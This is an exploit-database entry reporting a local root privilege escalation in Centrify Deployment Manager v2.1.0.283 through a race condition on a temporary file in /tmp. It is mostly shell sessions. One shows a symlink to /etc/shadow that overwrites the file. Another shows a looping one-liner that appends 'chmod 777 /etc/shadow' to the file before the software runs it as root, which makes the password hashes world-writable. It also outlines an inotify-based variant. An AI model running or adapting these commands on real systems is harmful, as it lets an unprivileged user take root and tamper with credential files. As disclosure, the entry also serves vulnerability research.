Centrify Deployment Manager Local Root Vulnerability

ID 1337DAY-ID-19914
Type zdt
Reporter Larry Cashdollar
Modified 2012-12-08T00:00:00


Centrify Deployment Manager version suffers from a race condition in /tmp that allows for local root privilege escalation.

                                            Centrify Deployment Manager v2.1.0.283 local root

Taking a little longer look at the software, I managed to win a race condition and get root with files in /tmp. Here is my analysis:

[email protected]:/tmp ls -l /etc/shadow
-r-------- 1 root shadow 1010 Dec 7 21:42 /etc/shadow [email protected]:/tmp

[email protected]:/tmp$ ln -s /etc/shadow centrify.cmd.0 [email protected]:/tmp$ ls -l
total 24
lrwxrwxrwx 1 larry larry 11 Dec 7 21:48 centrify.cmd.0 -> /etc/shadow After Analyze/Refresh Computer Information is run :

[email protected]:/tmp ls -l /etc/shadow
-rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow [email protected]:/tmp cat /etc/shadow
echo 144d823c-9c22-4d21-8446-4e2d07556177 vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null temp=$?
echo af43ab93-cfce-485e-b16f-0d4331e0e421 exit ${temp}
[email protected]:/tmp ls -l /etc/shadow
-rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow [email protected]:/tmp

This sucks we clobber the contents of /etc/shadow and we don't have write permission.

No root still.

Looking at the history and trace of what was run on the target system we see this:

Execute echo "echo 8c8ac888-342b-461f-a0ab-659251f3d602" > /tmp/centrify.cmd.0 Result =0 <----- if we create the file before them, we own it.  We can write to it before it's executed and have our command executed.

Execute echo "vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null" >> /tmp/centrify.cmd.0 Result =0
Execute echo "temp=\$?" >> /tmp/centrify.cmd.0 Result =0
Execute echo "echo b2449bef-65c1-45e8-9da0-4801200c5c05" >> /tmp/centrify.cmd.0 Result =0
Execute echo "exit \${temp}" >> /tmp/centrify.cmd.0 Result =0
Execute chmod 755 /tmp/centrify.cmd.0 Result =0 
Execute dzdo -p "Password:" sh -c "/tmp/centrify.cmd.0" Result =0 <--- dzdo is centrify's sudo equivalent, it's part of the centrify suite.
Execute rm -rf /tmp/centrify.cmd.0 Result =0
Execute id -u Result =0

So our quick dirty exploit:

[email protected]:/tmp$ while (true) ; do echo "chmod 777 /etc/shadow" >> /tmp/centrify.cmd.0 ; done

Will get us our command executed:

[email protected]:/tmp$ ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1010 Dec 7 21:57 /etc/shadow [email protected]:/tmp$

It might work creating the file centrify.cmd.UID, then monitoring it for having the execute bit set with inotify (IN_ATTRIB). When the execute bit is set write our malicious command to the file as it about to be executed by root.

Hopefully Kayne won't smash my fingers with a hammer.  ;-)

Larry W. Cashdollar

#  0day.today [2018-02-16]  #